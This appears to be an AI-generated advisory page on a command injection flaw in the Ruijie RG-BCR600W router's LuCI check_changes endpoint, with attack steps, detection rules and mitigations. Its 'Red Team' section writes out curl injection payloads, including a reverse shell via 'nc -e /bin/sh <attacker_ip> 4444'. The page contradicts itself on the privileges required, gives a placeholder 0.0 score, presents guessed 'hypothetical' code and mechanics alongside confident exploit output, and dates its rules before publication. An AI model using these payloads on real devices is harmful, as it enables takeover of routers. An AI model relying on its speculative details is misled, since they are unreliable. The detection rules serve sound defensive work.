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CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-56082

CVE-2025-56082 OS Command Injection in Ruijie
📅 PUBLISHED: 2025-12-11 00:00 UTC 🔄 UPDATED: 2026-10-15 12:01 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.38%
👁️
2.38% probability
59.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: Rg Bcr600W Firmware
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-56082 is a critical OS Command Injection vulnerability in the Ruijie RG-BCR600W router, specifically within the file /usr/lib/lua/luci/controller/admin/common.lua. An unauthenticated attacker can exploit this flaw by sending a crafted POST request to the check_changes endpoint, leading to arbitrary command execution on the device. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is critical. No public exploit code or patch is currently available, making this a high-priority zero-day for asset owners.

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Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a LuCI (Lua-based) web interface component of the Ruijie RG-BCR600W router.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Exploit does not affect other components.
  • Confidentiality (C): High (H) – Full device compromise.
  • Integrity (I): High (H) – Attacker can modify system files.
  • Availability (A): High (H) – Can cause denial of service or full control.

Threat Level: Critical. The combination of network accessibility, low complexity, and no authentication makes this a prime target for botnets and ransomware groups.

Deep Dive & Mechanics

The vulnerability resides in the check_changes function within /usr/lib/lua/luci/controller/admin/common.lua. The LuCI framework is used by OpenWrt-based devices for web administration. The function likely processes POST parameters without proper sanitization, passing user input directly to a shell command (e.g., via os.execute() or io.popen()).

Attack Flow:

  1. Attacker sends a POST request to /cgi-bin/luci/admin/common/check_changes with a crafted parameter (e.g., cmd=;id).
  2. The LuCI controller receives the request and passes the parameter to a shell command without escaping.
  3. The injected command executes with root privileges, allowing the attacker to execute arbitrary OS commands.

Root Cause: Lack of input validation and use of shell execution functions with unsanitized user input.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

-- /usr/lib/lua/luci/controller/admin/common.lua
function check_changes()
    local cmd = luci.http.formvalue("cmd")
    local result = os.execute("check_changes.sh " .. cmd)
    -- ...
end

Patched Code (Hypothetical):

-- /usr/lib/lua/luci/controller/admin/common.lua
function check_changes()
    local cmd = luci.http.formvalue("cmd")
    -- Validate input: only allow alphanumeric and specific characters
    if not cmd:match("^[a-zA-Z0-9_]+$") then
        luci.http.status(400, "Bad Request")
        return
    end
    -- Use safe execution with escaped arguments
    local result = luci.sys.exec("check_changes.sh %s", cmd)
    -- ...
end

Key Differences:

  • Input validation using a whitelist regex.
  • Use of luci.sys.exec with format string to prevent injection.
  • Proper error handling for invalid input.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Ruijie RG-BCR600W device with default firmware.
  • Network access to the device's web interface (port 80/443).

Exploitation Steps:

  1. Identify the target: nmap -p 80,443 <target_ip>
  2. Send a crafted POST request using curl:
    curl -X POST "http://<target_ip>/cgi-bin/luci/admin/common/check_changes" \
         -d "cmd=;id"
    
  3. Verify command execution by checking the response or using a reverse shell:
    curl -X POST "http://<target_ip>/cgi-bin/luci/admin/common/check_changes" \
         -d "cmd=;nc -e /bin/sh <attacker_ip> 4444"
    

Expected Output:

uid=0(root) gid=0(root) groups=0(root)

Blue Team

Detection Steps:

  1. Monitor HTTP POST requests to /cgi-bin/luci/admin/common/check_changes with unusual parameters.
  2. Look for shell metacharacters (;, |, &, $, `) in POST data.
  3. Check for outbound connections from the device to unknown IPs on high ports (e.g., 4444).
  4. Review system logs for unexpected command execution:
    grep "check_changes" /var/log/messages
    

Honeypot Setup:

  • Deploy a fake LuCI endpoint that logs all POST data for analysis.
  • Use tcpdump to capture traffic to the device:
    tcpdump -i eth0 port 80 -w capture.pcap
    

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /cgi-bin/luci/admin/common/check_changes with shell metacharacters.
    • Outbound connections from the device to unknown IPs on ports 4444, 1337, or 31337.
    • Unusual DNS queries for dynamic DNS domains (e.g., *.duckdns.org).
  • File IOCs:

    • Modified /usr/lib/lua/luci/controller/admin/common.lua (if attacker patches).
    • Presence of /tmp/.backdoor or /tmp/.shell files.
    • New cron jobs in /etc/crontabs/root.
  • Process IOCs:

    • Running processes like nc, bash, or python spawned by the web server.
    • High CPU usage from sh or bash processes.

Detection Engineering

YARA Rule

rule CVE_2025_56082_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-56082 in HTTP POST data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56082"
    strings:
        $post_path = "/cgi-bin/luci/admin/common/check_changes"
        $shell_meta1 = ";"
        $shell_meta2 = "|"
        $shell_meta3 = "&"
        $shell_meta4 = "$("
        $shell_meta5 = "`"
    condition:
        $post_path and any of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-56082 OS Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/luci/admin/common/check_changes'
        cs-uri-query|contains|all:
            - 'cmd='
            - ';'
    condition: selection
falsepositives:
    - Legitimate administrative scripts using semicolons (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-56082 OS Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/luci/admin/common/check_changes"; http_uri; content:"cmd="; http_client_body; pcre:"/(?:;|\||\&|\$\(|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Place RG-BCR600W routers behind a firewall and restrict access to the web interface to trusted IPs only.
  2. Disable remote management: If not required, disable the web interface on WAN interfaces.
  3. Monitor logs: Enable detailed logging for HTTP requests and system commands.

Long-term Fix:

  • Vendor Patch: Await an official firmware update from Ruijie. Contact their security team for an ETA.
  • Workaround: If patching is not possible, implement a reverse proxy (e.g., Nginx) to filter malicious requests:
    location /cgi-bin/luci/admin/common/check_changes {
        if ($args ~* "cmd=.*[;|&]") {
            return 403;
        }
        proxy_pass http://backend;
    }
    
  • Replace device: Consider replacing the RG-BCR600W with a vendor that provides timely security updates.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

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